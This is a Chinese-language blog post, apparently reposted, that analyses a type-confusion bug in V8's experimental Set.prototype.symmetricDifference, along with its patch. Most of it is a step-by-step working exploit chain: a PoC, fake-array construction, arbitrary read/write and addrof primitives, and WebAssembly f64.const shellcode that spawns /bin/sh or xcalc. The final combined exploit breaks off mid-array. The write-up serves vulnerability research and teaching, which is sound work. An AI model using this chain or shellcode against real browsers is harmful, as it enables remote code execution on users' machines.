Harmony Set 方法中的类型混淆,导致 RCE

admin 2024年6月7日01:13:35评论3 views字数 22079阅读73分35秒阅读模式

Harmony Set 方法中的类型混淆,导致 RCE

Environment Setting

V8

  • V8 提交哈希:1976a3f375fb686a12d0577b0a01b164d8481414
  • GN 参数(用于调试):v8_no_inline=true v8_optimized_debug=false is_component_build=false
WABT
https://github.com/WebAssembly/wabt
cd ~git clone https://github.com/WebAssembly/wabt/cd wabtgit submodule update --initmakeexport PATH=$HOME/wabt/out/clang/Debug:$PATHecho -e 'nexport PATH=$HOME/wabt/out/clang/Debug:$PATH' >> ~/.zshrc

预备知识

JavaScript ES6 Harmony

ES(ECMAScript)是JavaScript、JScript、ActionScript等脚本语言的标准,是一个国际标准化组织。Ecma International(前身为欧洲计算机制造商协会)在ECMA-262它是在名称下管理的。
ECMA-262第一版于1997年6月出版,自2015年起每年6月连续出版(第六版)。从第6版开始,ES后面加上出版年份或版本号,命名为ES2015或ES6。

https://ecma-international.org/news/ecma-international-approves-major-revision-of-ecmascript/

ECMAScript 标准的最后一次重大修订是 1999 年发布的第三版。第三版完成后,人们做了大量工作来开发第四版。尽管第四版的开发尚未完成,但这项工作影响了 ECMAScript 第五版,并继续影响 ECMAScript 的持续开发。未来 ECMAScript 版本的开发工作将继续作为先前宣布的 ECMAScript Harmony 项目的一部分。

第 5 版发布后,未来 ES 版本的开发工作以 ECMAScript Harmony 项目的名义继续进行,因此第 6 版 ES2015 也被专门称为 ES6 Harmony。

Harmony 的功能尚未在 V8 中完全实现,因此它们不是默认功能,只有在激活相关标志时才能使用。

Harmony Set 方法中的类型混淆,导致 RCE

在 Chrome 中,chrome://flags您可以通过访问 、将实验性 JavaScript 设置为已启用,然后重新启动 Chrome 来使用 Harmony 的功能。

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

JavaScript 设置

Set 是 JavaScript 中表示集合的类。

Harmony Set 方法中的类型混淆,导致 RCE

集合是不同对象的集合。因此,只有唯一的值才能进入Set。

Harmony Set 方法中的类型混淆,导致 RCE

有七种方法可以表达两个集合之间的关系。

Harmony Set 方法中的类型混淆,导致 RCE

  • [set-methods] 添加功能标志和联合方法(2023.05.30)

  • [set-methods] 添加交集设置方法(2023.06.14.)

  • [set-methods] 添加 set 方法差异(2023.06.22.)

  • [set-methods] 添加 symmetricDifference (2023.06.28.)

  • [set-methods] 添加 isSubsetOf 方法(2023.07.26.)

  • [set-methods] 添加 isSupersetOf 方法 (2023.07.28.)

  • [set-methods] 将 isDisjointFrom 添加到 set 方法(2023.08.01.)

Harmony Set 方法中的类型混淆,导致 RCE

这些方法不仅适用于集合,也适用于类似集合的对象。类集合对象是满足被视为集合的最低条件的对象,并且必须具有size属性和has()方法keys()

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set

全部设置方法要求这是一个实际的 Set 实例,但它们的参数只需类似集合即可。类似集合的对象是提供以下内容的对象:

Asize包含数字的属性。

Ahas()方法接受一个元素并返回一个布尔值。

Akeys()返回一个方法迭代器集合中的元素。

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Set的内存结构

let s = new Set();% DebugPrint(s);

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

SetOrderedHashSet将元素存储在格式表中。

Harmony Set 方法中的类型混淆,导致 RCE

  • elements:当前存储的元素数量

  • 已删除:已删除元素的数量

  • Bucket:存储元素的桶数(始终是2的幂)

  • 容量:可以存储的最大元素数量(桶的两倍)

当需要清除集合或者由于元素超出容量而导致集合增长时,会分配一个新表。

/* src/objects/objects.cc */void JSSet::Clear(Isolate* isolate, Handle<JSSet> set) {  Handle<OrderedHashSet> table(OrderedHashSet::cast(set->table()), isolate);  table = OrderedHashSet::Clear(isolate, table);  set->set_table(*table);}
/* src/runtime/runtime-collections.cc */RUNTIME_FUNCTION(Runtime_SetGrow) {...  holder->set_table(*table);  return ReadOnlyRoots(isolate).undefined_value();}
let s = new Set();% DebugPrint(s);s.add(0); // elements: 1, capacity: 4s.add(1); // elements: 2, capacity: 4s.add(2); // elements: 3, capacity: 4s.add(3); // elements: 4, capacity: 4s.add(4); // elements: 5, capacity: 8 (grow)% DebugPrint(s);s.clear(); // elements: 0, capacity: 4% DebugPrint(s);

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

表元素是指原来存储的元素数量,当分配新表时,新表的地址存储在现有表的元素中。

/* src/objects/ordered-hash-table.cc */template <class Derived, int entrysize>Handle<Derived> OrderedHashTable<Derived, entrysize>::Clear(    Isolate* isolate, Handle<Derived> table) {...  if (table->NumberOfBuckets() > 0) {    // Don't try to modify the empty canonical table which lives in RO space.    table->SetNextTable(*new_table);    table->SetNumberOfDeletedElements(kClearedTableSentinel);  }  return new_table;}template <class Derived, int entrysize>MaybeHandle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(    Isolate* isolate, Handle<Derived> table, int new_capacity) {...  if (table->NumberOfBuckets() > 0) {    // Don't try to modify the empty canonical table which lives in RO space.    table->SetNextTable(*new_table);  }  return new_table_candidate;}

Harmony Set 方法中的类型混淆,导致 RCE

分析 - 代码流

Set方法symmetricDifference()中出现错误。

/* src/builtins/set-symmetric-difference.tq */// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifferencetransitioning javascript builtin SetPrototypeSymmetricDifference(    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {  const methodName: constexpr string = 'Set.prototype.symmetricDifference';  const fastIteratorResultMap = GetIteratorResultMap();  // 1. Let O be the this value.  // 2. Perform ? RequireInternalSlot(O, [[SetData]]).  const o = Cast<JSSet>(receiver) otherwise  ThrowTypeError(      MessageTemplate::kIncompatibleMethodReceiver, methodName, receiver);  // 3. Let otherRec be ? GetSetRecord(other).  let otherRec = GetSetRecord(other, methodName);...

对于Seta和,当调用时,is和is 。是一个对象,就像是一个类似 Set 的对象而不是 Set ,并且是ba.symmetricDifference(b)receiveraotherboreceiverJSSetotherRecother创下纪录没看到。

/* src/builtins/set-symmetric-difference.tq */// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifferencetransitioning javascript builtin SetPrototypeSymmetricDifference(    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {...  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;  // 4. Let keysIter be ? GetKeysIterator(otherRec).  let keysIter =      GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));...

tableoreceiver) 的表,keysIter是方法的other返回值。keys()

/* src/builtins/collections.tq */// https://tc39.es/proposal-set-methods/#sec-getkeysiteratortransitioning macro GetKeysIterator(    implicit context: Context)(set: JSReceiver,    keys: Callable): iterator::IteratorRecord {  // 1. Let keysIter be ? Call(setRec.[[Keys]], setRec.[[Set]]).  const keysIter = Call(context, keys, set);...

GetKeysIterator()内部调用otherkeys()方法。

/* src/builtins/set-symmetric-difference.tq */// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifferencetransitioning javascript builtin SetPrototypeSymmetricDifference(    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {...  // 5. Let resultSetData be a copy of O.[[SetData]].  const resultSetData = Cast<OrderedHashSet>(CloneFixedArray(      table, ExtractFixedArrayFlag::kFixedArrays)) otherwise unreachable;  let resultAndNumberOfElements = OrderedHashSetAndNumberOfElements{    setData: resultSetData,    numberOfElements: UnsafeCast<Smi>(        resultSetData.objects[kOrderedHashSetNumberOfElementsIndex])  };  try {    typeswitch (other) {      case (otherSet: JSSetWithNoCustomIteration): {        CheckSetRecordHasJSSetMethods(otherRec) otherwise SlowPath;        const otherTable =            Cast<OrderedHashSet>(otherSet.table) otherwise unreachable;        let otherIterator =            collections::NewUnmodifiedOrderedHashSetIterator(otherTable);        while (true) {          const nextValue = otherIterator.Next() otherwise Done;          resultAndNumberOfElements = FastSymmetricDifference(              nextValue, table, resultAndNumberOfElements, methodName);        }      }...    }  } label SlowPath {...  } label Done {    const shrunk = ShrinkOrderedHashSetIfNeeded(        resultAndNumberOfElements.numberOfElements,        resultAndNumberOfElements.setData);    return new JSSet{      map: *NativeContextSlot(ContextSlot::JS_SET_MAP_INDEX),      properties_or_hash: kEmptyFixedArray,      elements: kEmptyFixedArray,      table: shrunk    };  }  unreachable;}

resultSetData是要返回的Set的表symmetricDifference()。首先,receiver克隆之前导入的表,然后调用keysIter中的每个元素。FastSymmetricDifference()

/* src/builtins/set-symmetric-difference.tq */macro FastSymmetricDifference(    implicit context: Context)(nextValue: JSAny, table: OrderedHashSet,    resultSetDataAndNumberOfElements: OrderedHashSetAndNumberOfElements,    methodName: constexpr string): OrderedHashSetAndNumberOfElements {  let key = nextValue;  let resultSetData = resultSetDataAndNumberOfElements.setData;  let numberOfElements = resultSetDataAndNumberOfElements.numberOfElements;  // ii. If nextValue is -0𝔽, set nextValue to +0𝔽.  key = collections::NormalizeNumberKey(key);  // iii. Let inResult be SetDataHas(resultSetData, nextValue).  const inResult = TableHasKey(resultSetData, key);  // iv. If SetDataHas(O.[[SetData]], nextValue) is true, then  dcheck(inResult == TableHasKey(table, key));  //  1. If inResult is true, remove nextValue from resultSetData.  if (inResult) {    numberOfElements = DeleteFromSetTable(resultSetData, key)        otherwise unreachable;  } else {    // v. Else,    //  1. If inResult is false, append nextValue to resultSetData.    resultSetData = AddToSetTable(resultSetData, key, methodName);    numberOfElements++;  }  return OrderedHashSetAndNumberOfElements{    setData: resultSetData,    numberOfElements: numberOfElements  };}

symmetricDifference()是从两个集合的并集中减去交集的运算。因此FastSymmetricDifference(),如果 中存在other的元素receiver,则删除该元素,如果不存在,则添加该元素。

漏洞

/* src/builtins/set-symmetric-difference.tq */// https://tc39.es/proposal-set-methods/#sec-set.prototype.symmetricdifferencetransitioning javascript builtin SetPrototypeSymmetricDifference(    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {...  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;  // 4. Let keysIter be ? GetKeysIterator(otherRec).  let keysIter =      GetKeysIterator(otherRec.object, UnsafeCast<Callable>(otherRec.keys));...

receiver导入of表后,通过重新定义of的方法,可以在内部重新分配ofother表。然而,返回的 Set 中原样包含了变量中存储的现有表,导致类似于 UAF 的情况。keys()otherkeys()receiversymmetricDifference()table

修补

SetPrototypeSymmetricDifference()table交换 get和fromkeysIter的代码顺序。修补已进行。

概念验证

let receiver = new Set();let other = new Set();other.keys = () => {    receiver.clear(); // allocate new table    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);% DebugPrint(result);

other.keys()通过receiver.clear()调用 ,receiver中的表被新分配。返回值other[Symbol.iterator]()与相同,旨在通过将other.values()类型设置为 来避免 TypeError。Set Iterator

Harmony Set 方法中的类型混淆,导致 RCE

让我们在发布版本中进行调试。

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

result中的表receiver.clear()是之前被调用的表,但是由于一个bug,它没有被新分配的表替换,并且表的elements字段存储的是新分配的表的地址,而不是元素的数量。

如果在此状态下访问,result.size则会读取表的 elements 字段的值。

/* src/builtins/builtins-collections-gen.cc */TF_BUILTIN(SetPrototypeGetSize, CollectionsBuiltinsAssembler) {  const auto receiver = Parameter<Object>(Descriptor::kReceiver);  const auto context = Parameter<Context>(Descriptor::kContext);  ThrowIfNotInstanceType(context, receiver, JS_SET_TYPE,                         "get Set.prototype.size");  const TNode<OrderedHashSet> table =      LoadObjectField<OrderedHashSet>(CAST(receiver), JSSet::kTableOffset);  Return(LoadObjectField(table, OrderedHashSet::NumberOfElementsOffset()));}
let receiver = new Set();let other = new Set();other.keys = () => {    receiver.clear(); // allocate new table    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);% DebugPrint(result.size);

Harmony Set 方法中的类型混淆,导致 RCE

因为最后一位是1,所以是以对象格式导入的,而不是SMI,导致类型混乱。

开发助手

/* helpers */let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) {    f_buf[0] = f;    return i_buf[0];}// convert bigint to floatfunction itof(i) {    i_buf[0] = i;    return f_buf[0];}// convert bigint to hex stringfunction hex(i) {    return '0x' + i.toString(16);}

生成虚假物体

由于集合中的元素数量以 SMI 格式存储在表的 elements 字段中,因此当从集合中删除元素时,elements 字段的值会减少 2。因此,在前面的 PoC 中,result如果 不是空 Set ,则可以result通过删除 中的元素来result.size调整导入对象的地址。换句话说,result可以在低于表的任意地址处创建假对象。

let receiver = new Set();let other = new Set();for (let i = 0; i < 16; i++) { receiver.add(i); } // elements: 16, capacity: 16other.keys = () => {    receiver.add(16); // elements: 17, capacity: 32 (grow, allocate new table)    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);% DebugPrint(result.size);for (let i = 0; i < 8; i++) { result.delete(i); }% DebugPrint(result.size);

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

任意地址读/写

如果您创建一个假数组结构并在该位置创建一个假对象,您可以通过在 elements 字段中的 V8 沙箱内放置一个随机地址来读取或写入该值。

创建 Fake Array 结构时,可以利用PACKED_DOUBLE_ELEMENTSMap等默认值的地址在每次执行时不会改变的事实。FixedArray[0]

let receiver = new Set();let other = new Set();for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32let fake_arr_struct;other.keys = () => {    fake_arr_struct = [1.1, 2.2];    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTSlet properties = 0x6cdn; // FixedArray[0]let elements = 0x41414141n; // arbitrary addresslet length = 1n << 1n; // length: 1fake_arr_struct[0] = itof(map | properties << 32n);fake_arr_struct[1] = itof(elements | length << 32n);for (let i = 0; i < 0x10; i++) { result.delete(i); }let fake_arr = result.size;

Harmony Set 方法中的类型混淆,导致 RCE

/* arbitrary address read */function aar(addr) {    elements = addr - 8n + 1n;    fake_arr_struct[1] = itof(elements | length << 32n);    return fake_arr[0];}/* leak V8 base */let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;console.log('[+] V8 base: ' + hex(v8base));

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

/* arbitrary address write */function aaw(addr, value) {    elements = addr - 8n + 1n;    fake_arr_struct[1] = itof(elements | length << 32n);    fake_arr[0] = itof(value);}

获取对象地址

对象的地址在每次执行时可能会改变,但它们的范围是固定的。

Harmony Set 方法中的类型混淆,导致 RCE

fake_arr通过在运行时插入一个标记并在内存中查找该标记,fake_arr就可以获得 的地址。

let receiver = new Set();let other = new Set();for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32let fake_arr_struct;other.keys = () => {    fake_arr_struct = [1.1, 2.2, 3.3];    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTSlet properties = 0x6cdn; // FixedArray[0]let elements = 0x41414141n; // arbitrary addresslet length = 1n << 1n; // length: 1fake_arr_struct[1] = itof(map | properties << 32n);fake_arr_struct[2] = itof(elements | length << 32n);for (let i = 0; i < 0x10; i++) { result.delete(i); }let fake_arr = result.size;/* arbitrary address read */function aar(addr) {    elements = addr - 8n + 1n;    fake_arr_struct[2] = itof(elements | length << 32n);    return fake_arr[0];}// /* leak V8 base */// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;// console.log('[+] V8 base: ' + hex(v8base));/* arbitrary address write */function aaw(addr, value) {    elements = addr - 8n + 1n;    fake_arr_struct[2] = itof(elements | length << 32n);    fake_arr[0] = itof(value);}let marker;let leaked;/* leak address of fake_arr */marker = 0x4141414141414141nfake_arr_struct[0] = itof(marker);let fake_arr_addr = 0x4a000n;for (let i = 0; i < 0x1000; i++) {    leaked = ftoi(aar(fake_arr_addr));    if (leaked == marker) break;    fake_arr_addr += 4n;}fake_arr_addr += 8n;console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));

0x40000理论上,从 开始搜索可以保证100%的可靠性,但如果搜索过程重复太多次,就会发生垃圾回收,地址发生变化。根据我们的经验fake_arr,该地址0x4a000并没有转到下面,所以0x4a000我们从 进行搜索,事实上,测试结果一次都没有失败。

Harmony Set 方法中的类型混淆,导致 RCE

fake_arr如果在 后面分配一个对象数组,fake_arr放入该对象数组中fake_arr,则 的地址可以作为查找该对象数组地址的标记。通过在内存中查找地址,可以得到对象数组的地址fake_arr,从 开始。fake_arr

let fake_arr_struct;let obj_arr;other.keys = () => {    fake_arr_struct = [1.1, 2.2, 3.3];    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)    obj_arr = [{}];    return other[Symbol.iterator](); // match return type (Set Iterator)}
/* leak address of obj_arr[0] */marker = fake_arr_addr + 1n;obj_arr[0] = fake_arr;let obj_arr_addr = fake_arr_addr + 0x30n;for (let i = 0; i < 0x1000; i++) {    leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;    if (leaked == marker) break;    obj_arr_addr += 4n;}console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));

Harmony Set 方法中的类型混淆,导致 RCE

您可以通过将随机对象插入对象数组并读取存储在 中的值obj_arr[0]来获取随机对象的地址。

/* get address of object */function addrof(obj) {    obj_arr[0] = obj;    return ftoi(aar(obj_arr_addr)) & 0xffffffffn;}let tmp_obj = {};console.log(hex(addrof(tmp_obj)));

Harmony Set 方法中的类型混淆,导致 RCE

使用 WebAssembly 执行 shellcode

当编译WebAssembly 的f64.const指令时,常量将按原样插入到代码中。让我们跟随这个过程。

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

# read_wasm.pywith open('test.wasm', 'rb') as f:    wasmCode = f.read()wasmCode_arr = []for c in wasmCode:    wasmCode_arr.append(c)print(wasmCode_arr)

Harmony Set 方法中的类型混淆,导致 RCE

let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let main = wasmInstance.exports.main;

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

main()当你第一次调用时,它会执行惰性编译,然后获取跳转表的地址,r15放入并跳转。如果你跟着一起走,

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

指令是从距离跳转表0x800一定距离的位置开始保存的,可以看到输入的常量是直接插入到代码中的。main()f64.const

如果你用它插入 shellcode 并用shellcode 的起始地址覆盖该字段,它将跳转到该位置wasmInstancejump_table_start由于只能连续输入 8 个字节,因此jmp可以通过使用指令链接多个 shellcode 来执行任意 shellcode。

需要注意的一件事是,如果多次输入同一个常数,

Harmony Set 方法中的类型混淆,导致 RCE

因为先前插入的常量是从内存中检索并重用的,所以它们不能用作 shellcode。因此,如果需要多次重复相同的 shellcode,则必须调整 NOP sled 的位置,使其成为不同的常量。

# shellcode_sh.pyfrom binascii import hexlifyfrom pwn import context, asmcontext(arch='amd64')jmp = b'xebx07'  # jmp 0x7shellcode = []# rdi == "/bin/sh"shellcode.append(asm(f'''push {int(hexlify(b'/bin'[::-1]), 16)}pop rax'''))shellcode.append(asm(f'''push {int(hexlify(b'/sh'[::-1]), 16)}pop rbx'''))shellcode.append(asm(f'''shl rbx, 32'''))shellcode.append(asm(f'''add rax, rbxpush rax'''))shellcode.append(asm(f'''mov rdi, rsp'''))# rax == 0x3bshellcode.append(asm(f'''xor rax, raxmov al, 0x3b'''))# rsi == 0, rdx == 0shellcode.append(asm(f'''xor rsi, rsixor rdx, rdxsyscall'''))for i in range(len(shellcode)):    shellcode[i] = shellcode[i].ljust(6, b'x90')  # NOP padding    if i != len(shellcode) - 1:        shellcode[i] += jmp    shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)    print(hex(shellcode[i]))

Harmony Set 方法中的类型混淆,导致 RCE

# shellcode_calc.pyfrom binascii import hexlifyfrom pwn import context, asmcontext(arch='amd64')jmp = b'xebx07'  # jmp 0x7shellcode = []# rdi == "/usr/bin/xcalc", rsi == 0shellcode.append(asm(f'''xor rbx, rbxxor rcx, rcx'''))shellcode.append(asm(f'''mov ebx, {int(hexlify(b'lc'[::-1]), 16)}'''))shellcode.append(asm(f'''shl rbx, 32'''))shellcode.append(asm(f'''mov ecx, {int(hexlify(b'/xca'[::-1]), 16)}'''))shellcode.append(asm(f'''add rbx, rcxpush rbx'''))shellcode.append(asm(f'''mov ebx, {int(hexlify(b'/bin'[::-1]), 16)}'''))shellcode.append(asm(f'''shl rbx, 32'''))shellcode.append(asm(f'''mov ecx, {int(hexlify(b'/usr'[::-1]), 16)}'''))shellcode.append(asm(f'''add rbx, rcxpush rbx'''))shellcode.append(asm(f'''mov rdi, rspxor rsi, rsi'''))# rbx == "DISPLAY=:0"shellcode.append(asm(f'''mov ebx, {int(hexlify(b':0'[::-1]), 16)}push rbx'''))shellcode.append(asm(f'''mov ebx, {int(hexlify(b'LAY='[::-1]), 16)}'''))shellcode.append(asm(f'''shl rbx, 32'''))shellcode.append(asm(f'''mov ecx, {int(hexlify(b'DISP'[::-1]), 16)}'''))shellcode.append(asm(f'''add rbx, rcxpush rbx'''))shellcode.append(asm(f'''mov rbx, rsp'''))# rdx == ["DISPLAY=:0", 0]shellcode.append(asm(f'''push 0push rbxmov rdx, rsp'''))shellcode.append(asm(f'''xor rsi, rsixor rax, rax'''))shellcode.append(asm(f'''mov al, 0x3bsyscall'''))for i in range(len(shellcode)):    shellcode[i] = shellcode[i].ljust(6, b'x90')  # NOP padding    if i != len(shellcode) - 1:        shellcode[i] += jmp    shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)    print(hex(shellcode[i]))

Harmony Set 方法中的类型混淆,导致 RCE

红色和蓝色框是相同的常数。NOP由于有两个,调整它们的位置以使它们都是不同的常数。

let shellcode = [    0x7ebc93148db3148n,    0x7eb900000636cbbn,    0x7eb909020e3c148n,    0x7eb906163782fb9n,    0x7eb909053cb0148n,    0x7eb906e69622fbbn,    0x7eb9020e3c14890n,    0x7eb907273752fb9n,    0x7eb9053cb014890n,    0x7ebf63148e78948n,    0x7eb530000303abbn,    0x7eb903d59414cbbn,    0x7eb20e3c1489090n,    0x7eb9050534944b9n,    0x7eb53cb01489090n,    0x7eb909090e38948n,    0x7ebe2894853006an,    0x7ebc03148f63148n,    0x9090050f3bb0n]for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

let wasmCode = new Uint8Array[0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 7, 68, 144, 72, 1, 203, 83, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 187, 58, 48, 0, 0, 83, 235, 7, 68, 187, 76, 65, 89, 61, 144, 235, 7, 68, 144, 144, 72, 193, 227, 32, 235, 7, 68, 185, 68, 73, 83, 80, 144, 235, 7, 68, 144, 144, 72, 1, 203, 83, 235, 7, 68, 72, 137, 227, 144, 144, 144, 235, 7, 68, 106, 0, 83, 72, 137, 226, 235, 7, 68, 72, 49, 246, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let main = wasmInstance.exports.main;

Harmony Set 方法中的类型混淆,导致 RCE

直到第 8 个常量都存储在寄存器中,但从第 9 个常量开始,添加了将寄存器值备份到堆栈的代码以重用寄存器,从而增加了 shellcode 之间的距离。如果你计算一下,你应该跳跃 12 个字节,而不是 7 个字节。因此,从第8个常量开始,高两个字节应该是 ,0x7eb而不是。0xceb

let shellcode = [    0x7ebc93148db3148n,    0x7eb900000636cbbn,    0x7eb909020e3c148n,    0x7eb906163782fb9n,    0x7eb909053cb0148n,    0x7eb906e69622fbbn,    0x7eb9020e3c14890n,    0xceb907273752fb9n,    0xceb9053cb014890n,    0xcebf63148e78948n,    0xceb530000303abbn,    0xceb903d59414cbbn,    0xceb20e3c1489090n,    0xceb9050534944b9n,    0xceb53cb01489090n,    0xceb909090e38948n,    0xcebe2894853006an,    0xcebc03148f63148n,    0x9090050f3bb0n]for (let i = 0; i < shellcode.length; i++) console.log('f64.const ' + itof(shellcode[i]));

Harmony Set 方法中的类型混淆,导致 RCE

Harmony Set 方法中的类型混淆,导致 RCE

# read_wasm.pywith open('ex.wasm', 'rb') as f:    wasmCode = f.read()wasmCode_arr = []for c in wasmCode:    wasmCode_arr.append(c)print(wasmCode_arr)

Harmony Set 方法中的类型混淆,导致 RCE

充分利用

/* helpers */let fi_buf = new ArrayBuffer(8); // shared bufferlet f_buf = new Float64Array(fi_buf); // buffer for floatlet i_buf = new BigUint64Array(fi_buf); // buffer for bigint// convert float to bigintfunction ftoi(f) {    f_buf[0] = f;    return i_buf[0];}// convert bigint to floatfunction itof(i) {    i_buf[0] = i;    return f_buf[0];}// convert bigint to hex stringfunction hex(i) {    return '0x' + i.toString(16);}let receiver = new Set();let other = new Set();for (let i = 0; i < 32; i++) { receiver.add(i); } // elements: 32, capacity: 32let fake_arr_struct;let obj_arr;other.keys = () => {    fake_arr_struct = [1.1, 2.2, 3.3];    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)    obj_arr = [{}];    return other[Symbol.iterator](); // match return type (Set Iterator)}let result = receiver.symmetricDifference(other);let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTSlet properties = 0x6cdn; // FixedArray[0]let elements = 0x41414141n; // arbitrary addresslet length = 1n << 1n; // length: 1fake_arr_struct[1] = itof(map | properties << 32n);fake_arr_struct[2] = itof(elements | length << 32n);for (let i = 0; i < 0x10; i++) { result.delete(i); }let fake_arr = result.size;/* arbitrary address read */function aar(addr) {    elements = addr - 8n + 1n;    fake_arr_struct[2] = itof(elements | length << 32n);    return fake_arr[0];}// /* leak V8 base */// let v8base = (ftoi(aar(0x24n)) & 0xffffffffn) << 32n;// console.log('[+] V8 base: ' + hex(v8base));/* arbitrary address write */function aaw(addr, value) {    elements = addr - 8n + 1n;    fake_arr_struct[2] = itof(elements | length << 32n);    fake_arr[0] = itof(value);}let marker;let leaked;/* leak address of fake_arr */marker = 0x4141414141414141nfake_arr_struct[0] = itof(marker);let fake_arr_addr = 0x4a000n;for (let i = 0; i < 0x1000; i++) {    leaked = ftoi(aar(fake_arr_addr));    if (leaked == marker) break;    fake_arr_addr += 4n;}fake_arr_addr += 8n;// console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));/* leak address of obj_arr[0] */marker = fake_arr_addr + 1n;obj_arr[0] = fake_arr;let obj_arr_addr = fake_arr_addr + 0x30n;for (let i = 0; i < 0x1000; i++) {    leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;    if (leaked == marker) break;    obj_arr_addr += 4n;}// console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));/* get address of object */function addrof(obj) {    obj_arr[0] = obj;    return ftoi(aar(obj_arr_addr)) & 0xffffffffn;}/* execve("/usr/bin/xcalc", 0, ["DISPLAY=:0", 0]) */let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 177, 1, 1, 174, 1, 0, 68, 72, 49, 219, 72, 49, 201, 235, 7, 68, 187, 108, 99, 0, 0, 144, 235, 7, 68, 72, 193, 227, 32, 144, 144, 235, 7, 68, 185, 47, 120, 99, 97, 144, 235, 7, 68, 72, 1, 203, 83, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 144, 72, 193, 227, 32, 144, 235, 7, 68, 185, 47, 117, 115, 114, 144, 235, 12, 68, 144, 72, 1, 203, 83, 144, 235, 12, 68, 72, 137, 231, 72, 49, 246, 235, 12, 68, 187, 